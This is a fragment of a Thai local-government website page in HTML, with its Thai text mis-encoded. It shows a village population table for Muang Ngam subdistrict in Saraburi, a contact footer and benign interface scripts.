<td class="styles1"><div align="left"> ¢Í§µÓºÅÁèǧ§ÒÁ·Ñé§ËÁ´ 4,823 äÃè ËÃ×Í»ÃÐÁÒ³ 8.77 µÒÃÒ§¡ÔâÅàÁµÃ<br>
»ÃСͺ仴éǨӹǹËÁÙèºéÒ¹·Ñé§ËÁ´ 8 ËÁÙèºéÒ¹ ´Ñ§¹Õé</div></td>
</tr>
<tr>
<td> </td>
<td valign="top" class="styles2"><div align="center">
<table border="1" cellspacing="0" cellpadding="0" width="602">
<tr>
<td width="53" valign="top" bgcolor="#FF9900" class="styles1"><p align="center"><strong> </strong><strong>ËÁÙè·Õè</strong><strong> </strong></p> </td>
<td width="105" valign="top" bgcolor="#FF9900" class="styles1"><p align="center"><strong> </strong><strong>ª×èͺéÒ¹</strong><strong> </strong></p> </td>
<td width="145" valign="top" bgcolor="#FF9900" class="styles1"><p align="center"><strong>¨Ó¹Ç¹»ÃЪҡÃ</strong><strong> </strong><br>
<strong>(ªÒÂ)</strong><br>
<strong>(¤¹)</strong></p></td>
<td width="119" valign="top" bgcolor="#FF9900" class="styles1"><p align="center"><strong>¨Ó¹Ç¹»ÃЪҡÃ</strong><strong> </strong><br>
<strong>(ËÔ§)</strong><br>
<strong>(¤¹)</strong></p></td>
<td width="88" valign="top" bgcolor="#FF9900" class="styles1"><p align="center"><strong>ÃÇÁ</strong><strong> </strong><br>
<strong>(¤¹)</strong></p></td>
<td width="78" valign="top" bgcolor="#FF9900" class="styles1"><p align="center"><strong>¨Ó¹Ç¹</strong><strong> </strong><br>
<strong>¤ÃÑÇàÃ×͹</strong></p></td>
</tr>
<tr>
<td width="53" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center">1<br>
2<br>
3<br>
4<br>
5<br>
6<br>
7<br>
8</p></td>
<td width="105" valign="top" bgcolor="#FFFF99" class="styles1"><p align="left">ºéÒ¹ÁСÃÙ´ <br>
ºéÒ¹¡ÅÒ§ <br>
ºéÒ¹¡ÅÒ§ <br>
ºéÒ¹Áèǧ§ÒÁ <br>
ºéҹ⤡ <br>
ºéÒ¹¸ÃÃÁ¨Ô¹´Ò <br>
ºéҹ⤡ <br>
ºéҹ⤡ </p></td>
<td width="145" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center">120<br>
52<br>
56<br>
114<br>
97<br>
212<br>
241<br>
180</p></td>
<td width="119" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center">172<br>
59<br>
52<br>
129<br>
79<br>
239<br>
254<br>
201</p></td>
<td width="88" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center">292 <br>
111 <br>
108 <br>
243 <br>
176 <br>
451 <br>
495 <br>
381 </p></td>
<td width="78" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center">92 <br>
52 <br>
32 <br>
67 <br>
44 <br>
147 <br>
141 <br>
99 </p></td>
</tr>
<tr>
<td width="53" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center"> </p></td>
<td width="105" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center"> </p></td>
<td width="145" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center"><strong>1,072</strong></p></td>
<td width="119" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center"><strong>1,185</strong></p></td>
<td width="88" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center"><strong>2,257</strong></p></td>
<td width="78" valign="top" bgcolor="#FFFF99" class="styles1"><p align="center"><strong>674</strong> </p></td>
</tr>
</table>
<br>
<p align="right"><em>(¢éÍÁÙŨҡÊӹѡ·ÐàºÕ¹ÍÓàÀÍàÊÒäËé ³ à´×͹ÁÕ¹Ò¤Á 2558)</em></p>
</div></td>
</tr>
<tr>
<td width="20"> </td>
<td width="550"> </td>
</tr>
</table>
<!-- InstanceEndEditable -->
</div>
</div>
<div class="wave" aria-hidden="true">
<svg viewBox="0 0 1200 40" preserveAspectRatio="none"><path d="M0 20 Q150 40 300 20 T600 20 T900 20 T1200 20 V40 H0 Z" fill="#8E5FC2" opacity=".18"/></svg>
</div>
<!-- ================= ITA ================= -->
<div class="wave" aria-hidden="true">
<svg viewBox="0 0 1200 40" preserveAspectRatio="none"><path d="M0 20 Q150 0 300 20 T600 20 T900 20 T1200 20 V40 H0 Z" fill="#E4649C" opacity=".2"/></svg>
</div>
<!-- ================= WEBBOARD ================= -->
<!-- ================= POLL + ADMIN ================= -->
<!-- ================= LIBRARY / MEDIA ================= -->
<!-- ================= LINKS ================= -->
<!-- µéͧà¾ÔèÁ Font Awesome ã¹ <head> ¢Í§àÇçºä«µì (ãÊè¤ÃÑé§à´ÕÂÇ¾Í äÁèµéͧãÊè«éÓã¹·Ø¡ä¿Åì)
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
--><!-- äͤ͹à»ç¹ SVG Ẻ½Ñ§ã¹µÑÇ (inline) äÁèµéͧ¾Öè§ Font Awesome ËÃ×ÍâËÅ´ä¿ÅìÀÒÂ¹Í¡ã´æ
âËÅ´àÃçÇ ¤ÁªÑ´·Ø¡¢¹Ò´¨Í áÅÐá¡éÊÕä´éÍÔÊÃÐ --><!-- ================= COMPLAINT CHANNELS ================= -->
<!-- ================= CALENDAR ================= -->
</main>
<!-- ================= FOOTER ================= -->
<footer class="site-footer">
<!-- animated wave divider with light glow -->
<div class="footer-wave-top" aria-hidden="true">
<div class="footer-glow"></div>
<svg viewBox="0 0 1200 60" preserveAspectRatio="none" style="position:absolute;inset:0;">
<path class="wave-a" d="M0 34 Q150 8 300 34 T600 34 T900 34 T1200 34 T1500 34 T1800 34 V60 H0 Z" fill="#8E5FC2" opacity=".55"/>
<path class="wave-b" d="M0 40 Q200 60 400 40 T800 40 T1200 40 T1600 40 T2000 40 V60 H0 Z" fill="#E4649C" opacity=".4"/>
</svg>
</div>
<div class="wrap footer-grid">
<div>
<h4><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M4 21V8l8-5 8 5v13"/><path d="M9 21v-6h6v6"/></svg></span>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅÁèǧ§ÒÁ</h4>
<p style="font-size:13.8px;max-width:42ch;">25/3 ËÁÙè·Õè 1 µÓºÅÁèǧ§ÒÁ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ 18160<br>
â·ÃÈѾ·ì : 036-271-689 : 036-271-688<br>
ÍÕàÁÅ: <a href="mailto:saraban_06191009@dla.go.th">saraban_06191009@dla.go.th</a></p>
</div>
<div>
<h4><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M13 2 3 14h7l-1 8 10-12h-7l1-8Z"/></svg></span>ÅÔ§¡ì´èǹ</h4>
<ul>
<li><a href="E-Service.php">ºÃÔ¡ÒÃÍ͹äŹì (E-Service)</a></li>
<li><a href="/ITA.php">ITA</a></li>
<li><a href="/LPA63/LPA1.php">LPA</a></li>
<li><a href="http://www.moungngam.go.th/webmail/">Webmail</a></li>
<li><a href="http://www.moungngam.go.th/webboard/webboard.php?Category=board">¡ÃдҹàÊǹÒ</a></li>
</ul>
</div>
<div>
<h4><span class="nav-ico"><svg viewBox="0 0 24 24"><circle cx="9" cy="8" r="3"/><path d="M2 20c0-3.3 3-6 7-6s7 2.7 7 6"/><circle cx="17" cy="9" r="2.5"/><path d="M16 14c2.8 0 5 2 5 4.5"/></svg></span>µÔ´µÒÁàÃÒ</h4>
<ul>
<li><a href="https://www.facebook.com/PASWorldCommunication?fref=ts" target="_blank">Facebook</a></li>
<li><a href="https://www.facebook.com/moungsaraburi" target="_blank">Facebook (˹èǧҹ)</a></li>
<li><a href="tel:+6636271689">â·ÃÈѾ·ì: 036-271-689</a></li>
<li><a href="mailto:saraban_06191009@dla.go.th">ÍÕàÁÅ</a></li>
</ul>
</div>
</div>
<div class="wrap footer-bottom">
<span>àÇçºä«µìà»Ô´ãªé§Ò¹ 4 ÊÔ§ËÒ¤Á ¾.È. 2558 · ʧǹÅÔ¢ÊÔ·¸Ôì 2568 â´Â <a href="http://www.pasworld.co.th/" target="_blank">PAS World Communication,.ltd.</a></span>
<span>IP ¢Í§¤Ø³: <span id="visitorIp">—</span></span>
</div>
</footer>
<!-- ================= FLOATING WIDGETS ================= -->
<div class="float-stack">
<a class="float-btn fb-msg" href="https://www.messenger.com/t/1552200893091366/?messaging_source=source%3Apages%3Amessage_shortlink&source_id=1441792&recurring_notification=0" target="_blank" aria-label="Messenger">
<svg viewBox="0 0 24 24"><path d="M12 2C6.5 2 2 6.1 2 11.2c0 2.9 1.5 5.5 3.8 7.2V22l3.5-1.9c.9.3 1.8.4 2.7.4 5.5 0 10-4.1 10-9.2S17.5 2 12 2zm1 12.4-2.6-2.8-5 2.8L10.9 9l2.6 2.8 5-2.8L13 14.4z"/></svg>
</a>
<a class="float-btn fb-mail" href="mailto:saraban_06191009@dla.go.th" aria-label="ÍÕàÁÅ">
<svg viewBox="0 0 16 16"><path d="M.05 3.555A2 2 0 0 1 2 2h12a2 2 0 0 1 1.95 1.555L8 8.414.05 3.555zM0 4.697v7.104l5.803-3.558L0 4.697zM6.761 8.83l-6.57 4.027A2 2 0 0 0 2 14h12a2 2 0 0 0 1.808-1.144l-6.57-4.027L8 9.586l-1.239-.757zm3.436-.586L16 11.801V4.697l-5.803 3.546z"/></svg>
</a>
<a class="float-btn fb-phone" href="tel:+6636271689" aria-label="â·ÃÈѾ·ì">
<svg viewBox="0 0 16 16"><path d="M2.267.98a1.636 1.636 0 0 1 2.448.152l1.681 2.162c.309.396.418.913.296 1.4l-.513 2.053a.636.636 0 0 0 .167.604L8.65 9.654a.636.636 0 0 0 .604.167l2.052-.513a1.636 1.636 0 0 1 1.401.296l2.162 1.681c.777.604.849 1.753.153 2.448l-.97.97c-.693.693-1.73.998-2.697.658a17.47 17.47 0 0 1-6.571-4.144A17.47 17.47 0 0 1 .639 4.646c-.34-.967-.035-2.004.658-2.698l.97-.969z"/></svg>
</a>
<a class="float-btn fb-top" href="#top" aria-label="¡ÅѺ¢Öé¹´éÒ¹º¹" style="font-size:20px;"></a>
</div>
<script>
function toggleMenu(btn){
var menu = document.getElementById('mainMenu');
var open = menu.classList.toggle('open');
btn.setAttribute('aria-expanded', open);
}
function toggleDrop(btn){
if (window.innerWidth > 980) return; // desktop uses hover
var dd = btn.nextElementSibling;
var isOpen = dd.classList.toggle('open');
btn.setAttribute('aria-expanded', isOpen);
}
var fontStep = 0;
function adjustFont(dir){
fontStep = Math.max(-2, Math.min(3, fontStep + dir));
document.body.style.fontSize = (16 + fontStep * 1.5) + 'px';
}
function toggleContrast(){
document.documentElement.classList.toggle('contrast-mode');
}
// Poll popup (kept from original behaviour)
function popup(form){
var v = getCheckedRadio();
var idp = document.getElementById('idp').value;
window.open('vote.php?idp=' + idp + '&v=' + v, 'formpopup', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=420,height=300');
return false;
}
function getCheckedRadio(){
var radios = document.getElementsByName('v');
for (var i = 0; i < radios.length; i++){
if (radios[i].checked) return radios[i].value;
}
return '';
}
// Top hero slider (fade + Ken Burns effect)
(function(){
var slider = document.getElementById('topHeroSlider');
if(!slider) return;
var slides = slider.querySelectorAll('.th-slide');
var dots = slider.querySelectorAll('.th-dot');
var current = 0;
var timer;
function show(i){
slides[current].classList.remove('active');
dots[current].classList.remove('active');
current = (i + slides.length) % slides.length;
slides[current].classList.add('active');
dots[current].classList.add('active');
}
window.moveHero = function(dir){ show(current + dir); resetTimer(); };
window.goHero = function(i){ show(i); resetTimer(); };
function resetTimer(){
clearInterval(timer);
timer = setInterval(function(){ show(current + 1); }, 6000);
}
resetTimer();
})();
// Gallery carousel (3 per row, horizontal scroll)
window.scrollGallery = function(dir){
var wrap = document.getElementById('galleryTrackWrap');
if(!wrap) return;
var amount = wrap.clientWidth * 0.9;
wrap.scrollBy({ left: dir * amount, behavior: 'smooth' });
};
</script>
</body>
<!-- InstanceEnd --></html>